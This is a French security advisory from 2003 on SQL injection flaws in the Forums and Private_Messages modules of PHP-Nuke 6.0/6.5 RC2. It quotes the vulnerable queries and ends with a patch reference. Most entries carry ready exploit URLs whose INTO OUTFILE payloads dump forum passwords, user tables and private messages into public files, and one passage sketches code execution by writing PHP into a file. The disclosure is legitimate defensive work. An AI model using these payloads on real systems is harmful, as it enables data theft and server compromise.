Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.phpnuke.org Version : 6.0 & 6.5 RC2 Modules : Forums, Private_Messages Problème : Injection SQL Developpement : °°°°°°°°°°°°°°° Ceci est en quelque sorte la suite du texte du 06/03/03 sur les modules Members_List et Your_Account (PHP-Nuke6.0-Members_List-Your_Account.txt). On se retrouve encore une fois avec des problèmes de sécurité dûs à de l'injection SQL, cette fois dans les modules Forums et Private_Messages de PHP-Nuke. Les failles consistent plus ou moins en la même chose que les précédentes. Elles permettent : - D'enregistrer toutes les informations sur les users voulus dans un fichier au choix - De changer n'importe quelle information ( dont le mot de passe ) de n'importe quel utilisateur - De récuperer le mot de passe de n'importe quel forum privé - Et 2/3 autres petites choses :) Dans le texte du 06/03, on voyait comment le résultat d'une requête SQL pouvait être enregistré dans un fichier au choix grâce à "INTO OUTFILE [fichier]". C'est encore ce type de faille qui se trouvent dans le module Forums. Dans le fichier /modules/Forums/viewtopic.php, on peut voir la ligne : --------------------------------------------------------------------------------------------------------------------------- $sql = "SELECT forum_type, forum_id, forum_pass, forum_name, forum_access, forum_moderator, forum_atch FROM ${prefix}_forums WHERE forum_id = '$forum'"; --------------------------------------------------------------------------------------------------------------------------- Si comme valeur à la variable $forum, on met : 1' INTO OUTFILE '[chemin/du/site]/vt.txt , la requête deviendra alors : ---------------------------------------------------------------------------------------------------------------- SELECT forum_type, forum_id, forum_pass, forum_name, forum_access, forum_moderator, forum_atch FROM nuke_forums WHERE forum_id = '1' INTO OUTFILE '[chemin/du/site]/vt.txt ' ---------------------------------------------------------------------------------------------------------------- Et les éléments [forum_type, forum_id, forum_pass, forum_name, forum_access, forum_moderator, forum_atch] du forum 1 seront enregistrés dans vt.txt. Donc l'url http://[target]/modules.php?op=modload&name=Forums&file=viewtopic&topic=1&forum=1'%20INTO%20OUTFILE%20'[chemin/du/site]/vt.txt permettra de rendre accessible ces informations dans le fichier http://[target]/vt.txt . Même principe dans les fichiers - /modules/Forums/viewforum.php Dont on voit le code : ---------------------------------------------------------------------------------------------------------------------- $sql = "SELECT f.forum_id, f.forum_type, f.forum_pass, f.forum_name, u.uname, u.uid,m.forum_id,m.user_id FROM ${prefix}_forums f, ".$user_prefix."_users u, ${prefix}_forum_mods m WHERE f.forum_id = '$forum' AND m.forum_id = '$forum' AND m.user_id = u.uid"; ---------------------------------------------------------------------------------------------------------------------- Une url possible pour récuperer ces informations dans http://[target]/vf.txt : http://[target]/modules.php?op=modload&name=Forums&file=viewforum&forum='%20OR%201=1%20INTO%20OUTFILE%20'[/chemin]/vf.txt'/* Ici, l'expression 1=1 injectée dans le script aura comme conséquence d'enregistrer les informations extraites pour TOUT les forums, dans le fichier vf.txt. - /modules/Forums/reply.php Dont on voit le code : ------------------------------------------------------------------------------------------------------------------------- $sql = "SELECT forum_name, forum_access, forum_moderator, forum_atch FROM ${prefix}_forums WHERE (forum_id = '$forum')"; ------------------------------------------------------------------------------------------------------------------------- Une exploitation possible : http://[target]/modules.php?op=modload&name=Forums&file=reply&forum=1')%20INTO%20OUTFILE%20'[/chemin]/reply.txt'/* - /modules/Forums/newtopic.php Dont on voit le code : ------------------------------------------------------------------------------------------------------------------------------------------------ $sql = "SELECT forum_type, forum_pass, forum_name, forum_access, forum_moderator, forum_atch FROM ${prefix}_forums WHERE (forum_id = '$forum')"; ------------------------------------------------------------------------------------------------------------------------------------------------ Une exploitation possible : http://[target]/modules.php?op=modload&name=Forums&file=newtopic&forum=1')%20INTO%20OUTFILE%20'[/chemin]/newtopic.txt'/* - /modules/Forums/editpost.php Dont on voit le code : ---------------------------------------------------------------------------------------------------------------------- $sql = "SELECT forum_name, forum_access, forum_moderator, forum_atch FROM ${prefix}_forums WHERE forum_id = '$forum'"; ---------------------------------------------------------------------------------------------------------------------- Une exploitation possible : http://[target]/modules.php?op=modload&name=Forums&file=editpost&forum=1'%20INTO%20OUTFILE%20'[/chemin]/editpost.txt Voyons maintenant le module Private_Messages. On voit dans le fichier Private_Messages/reply.php le même genre de faille que plus haut dans les forums, mais cette fois avec une requête extractant les informations de la table nuke_users, c'est-à-dire les informations utilisateurs. La faille se trouve à ces lignes : ---------------------------------------------------------------------------------------------------------------- if ($reply || $send) { if ($uname != "") { $res = sql_num_rows(sql_query("select * from ".$user_prefix."_users where uname='$uname'", $dbi), $dbi); ---------------------------------------------------------------------------------------------------------------- Une url pour récuperer les informations utilisateurs, par exemple dans http://[target]/users.txt, serait : http://[target]/modules.php?name=Private_Messages&file=reply&send=1&uname='%20OR%201=1%20INTO%20OUTFILE%20'[/chemin]/users.txt Je rapelle que [/chemin] est le chemin dans l'ordinateur du site web, et qu'il peut être trouvé sur plusieurs fichiers PHP-Nuke, grâce à des failles Path Disclosure. J'ai ici expliqué que cette faille pour enregistrer des résultats d'une requête dans un fichier était utile pour récuperer des informations sensibles. Mais il y a d'autres possibilités d'utilisation. Par exemple en enregistrant beaucoup de fois les informations dans des fichiers differents, ça peut, à grande echelle, saturer la mémoire de l'ordinateur. Ou encore elle peut permettre de l'injection de code PHP ! Imaginons que dans une table de la base SQL se trouve enregistré un bout de code php, et qu'on execute une requête : SELECT element_avec_le_code_PHP FROM table_avec_le_code WHERE condition=1 INTO OUTFILE '[/chemin]/fichier.php' Le code PHP sera alors enregistré dans un fichier.php, et le code sera executable depuis le site, sur le serveur et avec ses droits et restrictions. Ces deux failles ouvrent beaucoup de possibilités de failles dans PHP-Nuke, car le genre de requête qui permet cette utilisation pulule dans ce produit. Un exemple parmis des dizaines d'autres, dans le fichier Private_Message/read.php, on voit : --------------------------------------------------------------------------------------------------- $sql = "SELECT * FROM ".$prefix."_priv_msgs WHERE to_userid = '$userdata[uid]' LIMIT $start,1"; --------------------------------------------------------------------------------------------------- Pour enregistrer le premier message privé dans un fichier http://[target]/1.txt, on utilisera l'url : http://[target]/modules.php?name=Private_Messages&file=read&start=0,1%20INTO%20OUTFILE%20'[/chemin]/1.txt'/* Pour le deuxième message : http://[target]/modules.php?name=Private_Messages&file=read&start=1,2%20INTO%20OUTFILE%20'[/chemin]/2.txt'/* etc... Solution : °°°°°°°°°° Un patch est disponible sur http://www.phpsecure.info. Ce dernier sécurise les failles les plus directes, pas toutes les injections SQL dans les deux modules. Credits : °°°°°°°°° Auteur : frog-m@n E-mail : frog-man@phpsecure.info Websites : http://www.frog-man.org, http://www.phpsecure.info Date : 10/03/2003